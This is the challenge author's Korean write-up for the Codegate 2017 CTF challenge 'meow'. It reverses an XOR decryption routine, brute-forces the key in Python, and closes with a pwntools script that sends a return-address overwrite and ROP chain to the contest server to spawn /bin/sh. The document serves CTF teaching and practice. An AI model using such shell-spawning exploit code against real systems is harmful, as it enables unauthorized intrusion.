Codegate2017 meow

By choirish | March 17, 2017

meow 출제자 롸업



Codegate 2017 예선이 치러진 지 한 달 정도 지났네요 하… 시간 빠르다 :3

ctftime.org 를 보니 Meow에 관한 write-up이 무려 4개나 올라와 있길래(wow!) 떨리는 마음으로 구경하고 왔습니다 하핫!

다들 각자의 방법으로, 출제자가 의도한 대로 잘 풀고 친절한 롸업도 써주셔서 재미나게 읽을 수 있었습니다 >ㅅ<)/

이 분들이 워낙 롸업을 잘 써주셔서… 사실 제가 직접 쓴 롸업을 공개하기 민망하지만!! 그 때를 추억하며(?) 살포시 출제자의 감성을 더한 롸업을 써봅니다 ㅎㅎ




문제 속 숨겨진 진실

  • 사실 이 문제를 pwnable이라고 부르기는 뭣하다…….ㅋ
  • xor 구문이 길어지면서 급 crypto의 면모도 살짝 갖추게 되었다고 한다 하핳…
  • 문제 카테고리 미분류의 최대 수혜자!!!(?!)




문제 풀이 Points


단순히 ‘hello?’하고 인사 건네는 줄 알았더니 key를 요구하는 것이었다.

  • 특정 코드 두 덩이를 복호화하기 위한 key를 입력해야 한다.
  • 0byte짜리 key를 받아 그 md5 hash 값으로 비교하므로 빼도 박도 못하게 복호화 루틴을 분석하러 가야 한다.(흐흐)

key를 구하기 위한 hint 수집

  • 복호화 후 0x12000에 매핑될 코드덩이1이 추후 3번 메뉴에서 함수로 호출된다.
  • 코드덩이1의 앞 4byte와 끝 2byte함수의 프롤로그와 에필로그에 대응될 것이라 예측 가능!

복호화 루틴을 분석할 시간

  • XOR로 요리조리 뒤섞이는 값들의 구조를 파악해야 한다.
  • 함수 프롤로그/에필로그 힌트를 통해 10글자의 key 중 6글자 간의 관계를 파악 가능!
  • 나머지 4byte는 brute force로 알아낸다.

복호화한 코드 영역을 분석하여 쉘을 획득한다!

  • sub_C45 함수에서 3번 메뉴인 cat을 선택하면 0x12000에 매핑된 함수가 호출된다.
  • 0x12000에서 24byte를 입력받아 [rbp+0x8]에 저장한다.
  • [rbp+0x8]은 0x12000함수의 return 주소가 있는 곳이므로 값을 입력하는 순간 return 주소를 덮는다.
  • 코드덩이2가 복호화되어 0x14000에 매핑되는데 여기에 필요한 가젯이 모두 있음!




[ point 1] hello?

프로그램을 실행하면!



hello? 하더니 bye! 하고 사라진다… 또륵

ida로 main 함수를 분석해보자.


__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [sp+10h] [bp-130h]@1
__int64 v5; // [sp+20h] [bp-120h]@1
__int64 v6; // [sp+28h] [bp-118h]@1
__int64 v7; // [sp+30h] [bp-110h]@1
__int64 v8; // [sp+38h] [bp-108h]@1
__int64 v9; // [sp+40h] [bp-100h]@1
__int64 v10; // [sp+48h] [bp-F8h]@1
__int64 v11; // [sp+50h] [bp-F0h]@1
char v12; // [sp+60h] [bp-E0h]@1
int v13; // [sp+124h] [bp-1Ch]@1
int v14; // [sp+128h] [bp-18h]@1
int v15; // [sp+12Ch] [bp-14h]@1
void *v16; // [sp+130h] [bp-10h]@1
void *v17; // [sp+138h] [bp-8h]@1

setbuf(stdout, 0LL);
setbuf(_bss_start, 0LL);
qmemcpy(&v12, &qword_18F0, 0xB6uLL); // v12 = 코드로 추정되는 헥스덩어리1
v5 = 3048172182813886561LL; // v5 = 코드로 추정되는 헥스덩어리2
v6 = 7454495277799996423LL;
v7 = -4107235801407334876LL;
v8 = 2610174784920579989LL;
v9 = -1404223386465448100LL;
v10 = 8004198360851962805LL;
v11 = 983803751731936804LL;
v17 = (void *)0x12000;
v16 = (void *)0x14000;
v15 = 182;
v14 = 56;
v13 = 1;
memset(&s, 0, 0xBuLL);
printf("***** hello? *****\n>>> ", 0LL, a2);
fgets(&s, 11, _bss_start);
v13 = sub_13C5(&s, 11LL); // point A
if ( v13 == 1 )
{
   puts("Sorry, bye!");
   exit(0);
}
sub_D1D(&v12, &s, (unsigned int)v15); // point B-1
sub_D1D(&v5, &s, (unsigned int)v14); // point B-2
sub_1467((void **)&qword_2020B8, v17, v15, &v12);// point C-1
sub_1467((void **)&unk_2020C0, v16, v14, &v5);// point C-2
sub_C45(); // point D
return 0LL;
}


main 함수 요약 정리

[ point A ]

  • sub_13C5 함수에서, 입력받은 key(&s)의 md5 hash값을 검사한다.
  • key의 hash값이 “\x9f\x46\xa9\x24\x22\x65\x8f\x61\xa8\x0d\xde\xe7\x8e\x7d\xb9\x14″와 일치하지 않으면 Sorry를 출력한다.

[ point B-1 ]

  • 182byte의 헥스덩어리1(v12)를, sub_D1D 함수에서 key를 사용해 복호화한다.

[ point B-2 ]

  • 56byte의 헥스덩어리2(v5)를, sub_D1D 함수에서 key를 사용해 복호화한다.

[ point C-1 ]

  • sub_1467 함수에서, 0x12000 영역에 182byte만큼 mmap한다.
  • qword_2020B8 함수 포인터에 0x12000 주소를 지정한다.
  • 0x12000 주소에 복호화된 코드덩어리1(v12)를 memcpy한다.

[ point C-2 ]

  • sub_1467 함수에서, 0x14000 영역에 56byte만큼 mmap한다.
  • unk_2020C0 함수 포인터에 0x14000 주소를 지정한다.
  • 0x14000 주소에 복호화된 코드덩어리2(v5)를 memcpy한다.

[ point D ]

  • sub_C45 함수를 호출한다.
  • 사실은 이 함수에서 핵심적인 일이 벌어진다! /bin/sh !!!


+) 헥스 덩어리를 실제로 보면 요러하다! ( 0x18F0 : 헥스덩어리1 / 0x19A8 : 헥스덩어리2 )


즉… 알맞은 key를 찾아 입력해야만 헥스덩어리를 무사히 복호화할 수 있다는 것!

그렇다면 key가 무엇인지 어떻게 알아낼 수 있을까?




[ point 2 ] HINT for key

main에서 마지막으로 호출되었던 sub_C45 함수를 살펴보자.


__int64 sub_C45()
{
int v1; // [sp+Ch] [bp-4h]@1
v1 = 1;
puts("- What kind of pet would you like to have?\n- Select the number of pet!");
printf("1. angelfish\n2. bear\n3. cat\n4. dog\n5. I don't want pets\n# number = ");
__isoc99_fscanf(_bss_start, "%1d", &v1);
if ( v1 <= 0 || v1 > 5 )
{
  puts("*** bad number ***");
  exit(0);
}
switch ( v1 )
{
  case 1:
    sub_C00();
    break;
  case 2:
    sub_C17();
    break;
  case 3:
    qword_2020B8(); // call qword_2020B8 : where decrypted code1 exists!
    break;
  case 4:
    sub_C2E();
    break;
  case 5:
    exit(0);
    break;
}
return 0LL;
}


sub_C45 함수 요약 정리

1. “What kind of pet ~”이라는 질문에 대해 원하는 동물의 번호를 선택한다.

  • +) 사실 String Search를 통해서도 이 함수의 존재 여부를 쉽게 알아낼 수 있었을 것!


2. 3번 cat을 선택하면, qword_2020B8 함수를 호출한다.

  • 아까 첫 번째 헥스덩어리(182byte)가 복호화된 후 memcpy될 바로 그 함수 포인터!!
  • 즉 헥스덩어리1이 복호화된 값은 하나의 함수 형태를 띠고 있을 것이라 예상가능하다.
  • 그렇다면 복호화된 코드덩어리1의 앞 4byte와 끝 2byte가 함수의 프롤로그와 에필로그일 가능성이 매우 높다. 최대한 많은 byte를 예측해내야 하므로 에필로그도 생각해줘야 한다!
  • +) 대담한(?) 사람이었다면 앞 7byte를 추측해냈을 수도 있다 XD 함수 시작부분의 세 번째 줄 어셈코드가 “sub rsp,???”의 형태라는 것을! wow


헥스덩어리1이 복호화되었을 때, 앞 4byte(\x55\x48\x89\xe5)와 끝 2byte(\xc9\xc3)를 예측할 수 있게 되었다!
이 hint를 가지고 알맞은 key를 구해보자.




[ point 3 ] 복호화 루틴을 분석해서 key 알아내긔

복호화 루틴의 모든 것이 담긴 sub_D1D 함수로 들어가보면…
눈에 띄는 그것…. ㅎㅎ



처음에는 아주 단순했는데… ㅋㅋㅋ

sub_D1D 함수가 꽤 기니까(사실 반복됨ㅋㅋ) 코드는 담지 않고 정리해보자.


sub_D1D 함수 요약 정리

1. sub_D1D 함수에서는 총 4 Round에 걸쳐 xor을 진행한다.

  • 3 Round와 4 Round는 사실 똑같다.
  • 각 Round의 전체적인 구조도 같은데, 전체 헥스덩어리의 앞과 뒤에서 몇 개씩 가져와 xor하는지에 차이가 있다.

2. 각 Round의 주요 for문 다섯 개 중에 세 번째 for문에서 key와의 xor이 이루어진다.

  • 182byte 헥스덩어리1의 각 값들이 어떤 값과 xor되어, 위치가 어디로 바뀌는지 알아내야 한다.

3. key를 알아내는 자세한 분석 과정은, key를 구하는 코드를 통해 보기로!

  • 그럼 첫 번째로 xor 구조를 알아내기 위한 코드 쁍!
def dec(msg, key, ln):

    global Global_Xor_List
    Global_Xor_List = [ [] for x in range(ln) ]
    for x in xrange(ln):
        Global_Xor_List[x].append(x)

    msg = bytearray(msg)
    key = bytearray(key)

    klen1 = 10
    klen2 = 5
    klen3 = 7

    block_size1 = 4
    block_size2 = 5
    block_size3 = 3

    spoint = 0
    epoint = ln

    buffer_block = bytearray(klen3)
    Xor_Map = [0] * klen3
    for j in xrange( (ln-ln%klen3)/klen3):
        for k in xrange(block_size3):
            buffer_block[k] = msg[k+spoint]
            Xor_Map[k] = Global_Xor_List[k+spoint]
        for k in xrange(klen3-block_size3):
            buffer_block[k+block_size3] = msg[epoint -klen3+block_size3+k]
            Xor_Map[k+block_size3] = Global_Xor_List[epoint -klen3+block_size3+k]

        for k in xrange(klen3):
            buffer_block[k] ^= key[k]
            Xor_Map[k].append(k)


        for k in xrange(block_size3):
            msg[k+spoint] = buffer_block[k+klen3-block_size3]
            Global_Xor_List[k+spoint] = Xor_Map[k+klen3-block_size3]

        for k in xrange(klen3-block_size3):
            msg[epoint-klen3+block_size3+k] = buffer_block[k]
            Global_Xor_List[epoint-klen3+block_size3+k] = Xor_Map[k]

        spoint += block_size3
        epoint -= (klen3-block_size3)

        block_size3 += 2
        if block_size3 == 9:
            block_size3 = 3

    spoint = 0
    epoint = ln

    buffer_block = bytearray(klen2)
    Xor_Map = [0] * klen2
    for j in xrange( (ln-ln%klen2)/klen2):
        for k in xrange(block_size2):
            buffer_block[k] = msg[k+spoint]
            Xor_Map[k] = Global_Xor_List[k+spoint]

        for k in xrange(klen2-block_size2):
            buffer_block[k+block_size2] = msg[epoint -klen2+block_size2+k]
            Xor_Map[k+block_size2] = Global_Xor_List[epoint -klen2+block_size2+k]

        for k in xrange(klen2):
            buffer_block[k] ^= key[2*k+1]
            Xor_Map[k].append(2*k+1)

        for k in xrange(block_size2):
            msg[k+spoint] = buffer_block[k+klen2-block_size2]
            Global_Xor_List[k+spoint] = Xor_Map[k+klen2-block_size2]

        for k in xrange(klen2-block_size2):
            msg[epoint-klen2+block_size2+k] = buffer_block[k]
            Global_Xor_List[epoint-klen2+block_size2+k] = Xor_Map[k]

        spoint += block_size2
        epoint -= (klen2-block_size2)

        block_size2 -= 1
        if block_size2 == 0:
            block_size2 = 5

    spoint = 0
    epoint = ln

    buffer_block = bytearray(klen1)
    Xor_Map = [0] * klen1
    for j in xrange( (ln-ln%klen1)/klen1):
        for k in xrange(block_size1):
            buffer_block[k] = msg[k+spoint]
            Xor_Map[k] = Global_Xor_List[k+spoint]

        for k in xrange(klen1-block_size1):
            buffer_block[k+block_size1] = msg[epoint -klen1+block_size1+k]
            Xor_Map[k+block_size1] = Global_Xor_List[epoint -klen1+block_size1+k]

        for k in xrange(klen1):
            buffer_block[k] ^= key[k]
            Xor_Map[k].append(k)


        for k in xrange(block_size1):
            msg[k+spoint] = buffer_block[k+klen1-block_size1]
            Global_Xor_List[k+spoint] = Xor_Map[k+klen1-block_size1]

        for k in xrange(klen1-block_size1):
            msg[epoint-klen1+block_size1+k] = buffer_block[k]
            Global_Xor_List[epoint-klen1+block_size1+k] = Xor_Map[k]

        spoint += block_size1
        epoint -= (klen1-block_size1)

        block_size1 += 1
        if block_size1 == 9:
            block_size1 = 4

    spoint = 0
    epoint = ln
    block_size1 = 4

    buffer_block = bytearray(klen1)
    Xor_Map = [0] * klen1
    for j in xrange( (ln-ln%klen1)/klen1):
        for k in xrange(block_size1):
            buffer_block[k] = msg[k+spoint]
            Xor_Map[k] = Global_Xor_List[k+spoint]

        for k in xrange(klen1-block_size1):
            buffer_block[k+block_size1] = msg[epoint -klen1+block_size1+k]
            Xor_Map[k+block_size1] = Global_Xor_List[epoint -klen1+block_size1+k]

        for k in xrange(klen1):
            buffer_block[k] ^= key[k]
            Xor_Map[k].append(k)

        for k in xrange(block_size1):
            msg[k+spoint] = buffer_block[k+klen1-block_size1]
            Global_Xor_List[k+spoint] = Xor_Map[k+klen1-block_size1]

        for k in xrange(klen1-block_size1):
            msg[epoint-klen1+block_size1+k] = buffer_block[k]
            Global_Xor_List[epoint-klen1+block_size1+k] = Xor_Map[k]

        spoint += block_size1
        epoint -= (klen1-block_size1)

        block_size1 += 1
        if block_size1 == 9:
            block_size1 = 4

    return str(msg)

enc_len = 182
key = "\x00"*10
enc_cat = "\x00"*enc_len

a = dec(enc_cat, key, enc_len)

for m in xrange(enc_len):
    print m,' ',Global_Xor_List[m]


아흐 길다 ㅎㅎ 이걸 실행하면? 요로코롬 쭉 출력된다!


0 [181, 6, 5, 2, 6]
1 [5, 2, 7, 3, 7]
2 [12, 4, 1, 4, 8]
3 [13, 5, 3, 5, 9]
4 [6, 3, 9, 0, 5]
5 [176, 5, 3, 1, 6]
.
.
.
178 [10, 2, 3, 8, 2]
179 [7, 4, 1, 9, 3]
180 [179, 4, 1, 0, 4]
181 [180, 5, 3, 1, 5]


결과 해석

  • 182byte 각 값의 index는 0~181
  • 복호화된 182byte의 값을 첫 번째 byte부터 차례대로 쭉 나열한다.
  • [ ] 안의 첫 번째 값은 복호화되기 헥스덩어리1에서의 index다.
  • [ ] 안의 뒤 4개의 값은 4 Round를 거치며 10byte key의 어떤 index의 값과 xor을 했는지를 알려준다.
  • 즉! 첫째 줄을 해석해보면…
    • 복호화후덩어리[0] = 복호화전헥스덩어리1[181] ^ key[6] ^ key[5] ^ key[2] ^ key[6]
    • 즉! 복호화후[0] = 복호화전[181] ^ key[5] ^ key[2]


요로코롬 나온 결과에서 첫 4바이트와 끝 2바이트에 대한 xor 식을 쓸 수 있다. 그럼 이로써 알아낸 xor 관계를 이용하여 key를 구하는 코드! 쁍!


from hashlib import *

enc_cat = bytearray(b"\xf1\x64\x72\x4a\x4f\x48\x4d\xba\x77\x73\x1d\x34\xf5\xaf\xb8\x0f\x24\x56\x11\x65\x47\xa3\x2f\x73\xa4\x56\x4f\x70\x4a\x13\x57\x9c\x3f\x6f\x06\x61\x40\x90\xaf\x39\x10\x29\x34\xc3\x00\x7a\x40\x3d\x4e\x3f\x0e\x2a\x2f\x20\x7f\x73\x89\x7d\x4b\x1d\x09\xaa\xd0\x00\x21\x89\x4d\x2a\x67\x7c\x18\x3b\x39\xf2\x8d\x1c\xa7\x71\x57\x2e\x31\x14\x67\x48\x3c\x7d\xaf\x70\xae\x10\x31\x68\xd1\x26\x05\xc8\x25\xf2\x62\xf5\x5d\x38\x34\xf2\x20\x0e\x7e\x9f\xfb\x57\x72\x26\x57\x67\x15\x10\x15\x13\xb9\x3e\x79\x89\x5d\x24\x12\x01\x98\x7b\x18\x25\xe0\xdf\x7c\x24\x1b\x2d\x44\xb0\x10\x3d\x57\x3d\x62\xb4\x21\x1d\x3e\xd1\x10\xd7\x45\x74\x96\x2b\x6d\x3b\xed\x10\x00\x67\x31\xdf\x6c\xb8\x86\x1a\x7c\x6b\x64\x78\xc6\x37\x76\xe6\x61\xa0\xad\xbe\x4c\xba\xa7\x0d")

Prologue = bytearray(b"\x55\x48\x89\xE5")
Epilogue = bytearray(b"\xC9\xC3")

key = bytearray(10)
EndFlag = False
for x1 in range(0x20, 0x80):
    print("Going %d" % x1)
    key[2] = x1
    key[5] = x1 ^ enc_cat[181] ^ Prologue[0]
    key[3] = x1 ^ enc_cat[5] ^ Prologue[1]
    key[1] = key[3] ^ enc_cat[180] ^ Epilogue[1]
    key[0] = key[1] ^ enc_cat[179] ^ Epilogue[0]
    key[8] = key[1] ^ enc_cat[12] ^ Prologue[2]
    key[9] = key[3] ^ enc_cat[13] ^ Prologue[3]

    for x2 in range(0x20, 0x80):
        key[4] = x2
        for x3 in range(0x20, 0x80):
            key[6] = x3
            for x4 in range(0x20, 0x80):
                key[7] = x4
                if md5(key).digest() == b"\x9f\x46\xa9\x24\x22\x65\x8f\x61\xa8\x0d\xde\xe7\x8e\x7d\xb9\x14": 
                    print("OK")
                    print("%s" % key.decode())
                    #findkey = key.decode()
                    EndFlag = True
                    break
        if EndFlag:
            break
    if EndFlag:
        break


알아낸 key는 $W337k!++y (>. <) 4byte는 bruteforce!!하는 건데, bruteforce하는 첫 바이트를 잘 설정하면 (필자는 key[2]) 훨!씬 더 금방 끝난다는 것! 이제 key를 구했으니 익스 기기!




[ point 4 ] 복호화 코드 슥삭 분석 후 익스!

key를 입력하면 요로코롬 pet 선택 메뉴가 등장한다.



gdb로 붙여서 복호화된 코드가 어떻게 생겼는지 0x12000과 0x14000 영역을 살펴보자. ( key 입력한 후에 breakpoint 걸어야 함 )


0x12000 – by instruction

gdb-peda$ x/36i 0x12000
0x12000: push rbp
0x12001: mov rbp,rsp
0x12004: sub rsp,0x60
0x12008: movabs rax,0x20756f7920646944
0x12012: mov QWORD PTR [rbp-0x60],rax
0x12016: movabs rax,0x612065736f6f6863
0x12020: mov QWORD PTR [rbp-0x58],rax
0x12024: movabs rax,0x3f3f3f3f74616320
0x1202e: mov QWORD PTR [rbp-0x50],rax
0x12032: movabs rax,0x7420746168570a3f
0x1203c: mov QWORD PTR [rbp-0x48],rax
0x12040: movabs rax,0x6320666f20657079
0x1204a: mov QWORD PTR [rbp-0x40],rax
0x1204e: movabs rax,0x646c756f77207461
0x12058: mov QWORD PTR [rbp-0x38],rax
0x1205c: movabs rax,0x65727020756f7920
0x12066: mov QWORD PTR [rbp-0x30],rax
0x1206a: movabs rax,0x273027203f726566
0x12074: mov QWORD PTR [rbp-0x28],rax
0x12078: mov DWORD PTR [rbp-0x20],0x3e3e3e0a
0x1207f: mov BYTE PTR [rbp-0x1c],0x0
0x12083: lea rax,[rbp-0x60]
0x12087: mov edx,0x44
0x1208c: mov rsi,rax
0x1208f: mov edi,0x1
0x12094: mov eax,0x1
0x12099: syscall
0x1209b: lea rax,[rbp+0x8] ★☆★☆★☆★☆★☆★☆★☆★☆★☆★
0x1209f: mov edx,0x18 ★☆★☆★☆★☆★☆★☆★☆★☆★☆★
0x120a4: mov rsi,rax
0x120a7: mov edi,0x0
0x120ac: mov eax,0x0
0x120b1: syscall
0x120b3: nop
0x120b4: leave
0x120b5: ret


0x12000 요약 정리

1. “Did you choose a cat???”이라며 원하는 종을 선택하라고 한다.

2. 0x1209b : 입력받은 값을 [rbp+0x8]에 저장한다….

  • 입력받은 곳을 바로 return address에 넣어준다는 것!

3. 0x1209f : 24byte를 입력받는다.

  • 가젯 3개 정도 딱 넣으면 되겠구나 싶다.



0x14000 – by instruction

gdb-peda$ x/21i 0x14000
0x14000: push rbp
0x14001: mov rbp,rsp
0x14004: sub rsp,0x10
0x14008: mov QWORD PTR [rbp-0x8],rdi
0x1400c: mov rax,QWORD PTR [rbp-0x8]
0x14010: mov edx,0x0
0x14015: mov esi,0x0
0x1401a: mov rdi,rax
0x1401d: mov eax,0x3b
0x14022: syscall
0x14024: nop
0x14025: leave
0x14026: ret
0x14027: add BYTE PTR [rax],al
0x14029: (bad)
0x1402a: (bad)
0x1402b: imul ebp,DWORD PTR [rsi+0x2f],0x6873
0x14032: add BYTE PTR [rax],al
0x14034: add BYTE PTR [rax],al
0x14036: pop rdi ★☆★☆★☆★☆★☆★☆★☆★☆★☆★
0x14037: ret




0x14000 – by string

gdb-peda$ x/20s 0x14000
0x14000: "UH\211\345H\203\354\020H\211}\370H\213",
0x14012: ""
0x14013: ""
0x14014: ""
0x14015: "\276"
0x14017: ""
0x14018: ""
0x14019: ""
0x1401a: "H\211Ǹ;"
0x14020: ""
0x14021: ""
0x14022: "\017\005\220\311",
0x14028: ""
0x14029: "/bin/sh" ★☆★☆★☆★☆★☆★☆★☆★☆★☆★
0x14031: ""
0x14032: ""
0x14033: ""
0x14034: ""
0x14035: ""
0x14036:


0x14000 요약 정리

1. “execve” 시스템 콜을 호출하는 함수다. 감쟈

2. 0x14029 : /bin/sh 가젯 발견!

3. 0x14036 : pop rdi ; ret 가젯 발견!


요로코롬 내가 원하는 값을 집어넣을 부분(3번 cat 메뉴)도 알아냈고, 필요한 가젯들(0x14000 영역)도 모두 찾았으니…!




가젯을 잘 정렬하여 익스를 짜면? (다들 아시다시피 익스는 핵간단잼)

ex.py

from pwn import *

s = remote('110.10.212.139',50410)

print s.recvuntil('>>> ')
s.send("$W337k!++y\n")
print s.recvuntil('= ')
s.send("3\n")
print s.recvuntil('>>>')

payload = "\x36\x40\x01\x00\x00\x00\x00\x00" # pop rdi
payload += "\x29\x40\x01\x00\x00\x00\x00\x00" # /bin/sh
payload += "\x00\x40\x01\x00\x00\x00\x00\x00" # execve function

s.send(payload)
s.interactive()


끝!!!!!!!!!!!!!! 쉘을 따고 대회 서버에 있는 fflag(flag 아님ㅋ) 파일을 읽으면 진짜 flag를 얻을 수 있다 ㅎㅎㅎ




[ 후기 & Behind Story ]

조심스럽게 써 본 롸업 잘 읽으셨는지요? ㅎㅎ

대회 진행하면서 실시간으로 인증 로그를 살펴봤는데
첫 번째로 Meow를 풀고 플래그 인증을 해주신 PPP팀! 감쟈합니다 후후

그리고 일부러 flag 아닌 fflag 파일을 만들었는데
자연스레 “cat flag”를 입력했을 때 서버에 뜨는 오류 메시지를 보며 크크킄!했다는…\^0^

그리고… 공격이 이루어지는 부분이 바로 3번 cat 메뉴인데!
cat flag를 할 수 있는 부분이라 cat으로 정했다고 한다…ㅋㅋㅋㅋ
그렇게 문제 이름도 Meow가 되었음

마지막으로!

문제를 만드는 데 많은 도움주신 **python님, **ssket님, **okko님께 고맙다는 말씀 드리고프네요 꺄 \ㅇㅅㅇ/

문제 풀어주신 모든 분들! Codegate 2017에 참가하신 분들! 모두 고생하셨습니다 ㅎㅎ

comments powered by Disqus